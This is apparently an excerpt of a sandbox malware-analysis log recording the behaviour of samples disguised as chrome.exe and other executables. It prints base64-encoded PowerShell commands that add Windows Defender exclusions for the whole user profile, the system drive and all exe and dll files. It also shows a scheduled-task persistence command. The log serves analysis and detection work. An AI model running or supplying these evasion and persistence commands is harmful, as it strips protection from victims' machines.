Source: C:\Users\user\AppData\Roaming\Chrome\chrome.exe	Process created: C:\Windows\System32\cmd.exe "cmd" cmd /c powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA" & powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIABAACgAJwBlAHgAZQAnACwAJwBkAGwAbAAnACkAIAAtAEYAbwByAGMAZQA=" & exit
Source: C:\Users\user\AppData\Roaming\Chrome\chrome.exe	Process created: C:\Windows\System32\cmd.exe "cmd" cmd /c powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA" & powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIABAACgAJwBlAHgAZQAnACwAJwBkAGwAbAAnACkAIAAtAEYAbwByAGMAZQA=" & exit
Source: C:\Users\user\AppData\Roaming\34432.exe	Process created: C:\Windows\System32\cmd.exe "cmd" cmd /c powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA" & powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIABAACgAJwBlAHgAZQAnACwAJwBkAGwAbAAnACkAIAAtAEYAbwByAGMAZQA=" & exit	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Chrome\chrome.exe	Process created: C:\Windows\System32\cmd.exe "cmd" cmd /c powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA" & powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIABAACgAJwBlAHgAZQAnACwAJwBkAGwAbAAnACkAIAAtAEYAbwByAGMAZQA=" & exit
Source: C:\Users\user\AppData\Roaming\Chrome\chrome.exe	Process created: C:\Windows\System32\cmd.exe "cmd" cmd /c powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA" & powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIABAACgAJwBlAHgAZQAnACwAJwBkAGwAbAAnACkAIAAtAEYAbwByAGMAZQA=" & exit

Source: C:\Users\user\AppData\Roaming\ChiefKeefofficialnaxyi_crypted(6).exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\34432.exe	Process created: C:\Windows\System32\cmd.exe "cmd" cmd /c powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA" & powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIABAACgAJwBlAHgAZQAnACwAJwBkAGwAbAAnACkAIAAtAEYAbwByAGMAZQA=" & exit	Jump to behavior
Source: C:\Users\user\AppData\Roaming\34432.exe	Process created: C:\Windows\System32\nslookup.exe C:\Windows\System32\nslookup.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\34432.exe	Process created: C:\Windows\System32\cmd.exe cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "chrome" /tr "C:\Users\user\AppData\Roaming\Chrome\chrome.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\34432.exe	Process created: C:\Windows\System32\cmd.exe cmd" cmd /c "C:\Users\user\AppData\Roaming\Chrome\chrome.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIABAACgAJwBlAHgAZQAnACwAJwBkAGwAbAAnACkAIAAtAEYAbwByAGMAZQA="	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\dllhost.exe C:\Windows\System32\dllhost.exe /Processid:{bb7b2400-d282-40c3-8b5b-9f36c353d0f9}
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /create /f /sc onlogon /rl highest /tn "chrome" /tr "C:\Users\user\AppData\Roaming\Chrome\chrome.exe"
Source: C:\Users\user\AppData\Roaming\Chrome\chrome.exe	Process created: C:\Windows\System32\cmd.exe "cmd" cmd /c powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA" & powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIABAACgAJwBlAHgAZQAnACwAJwBkAGwAbAAnACkAIAAtAEYAbwByAGMAZQA=" & exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Roaming\Chrome\chrome.exe C:\Users\user\AppData\Roaming\Chrome\chrome.exe
Source: C:\Users\user\AppData\Roaming\Chrome\chrome.exe	Process created: C:\Windows\System32\cmd.exe "cmd" cmd /c powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA" & powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIABAACgAJwBlAHgAZQAnACwAJwBkAGwAbAAnACkAIAAtAEYAbwByAGMAZQA=" & exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA"

Source: C:\Windows\System32\dllhost.exe

Code function: 39_2_0000000140001F00 AllocateAndInitializeSid,SetEntriesInAclW,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreateNamedPipeW,Sleep,ConnectNamedPipe,ReadFile,WriteFile,DisconnectNamedPipe,Sleep,DisconnectNamedPipe,

39_2_0000000140001F00

Source: C:\Windows\System32\dllhost.exe

39_2_0000000140001F00

Source: C:\Users\user\AppData\Roaming\34432.exe	Queries volume information: C:\Users\user\AppData\Roaming\34432.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\34432.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-ds-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-base-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-ds-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-base-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
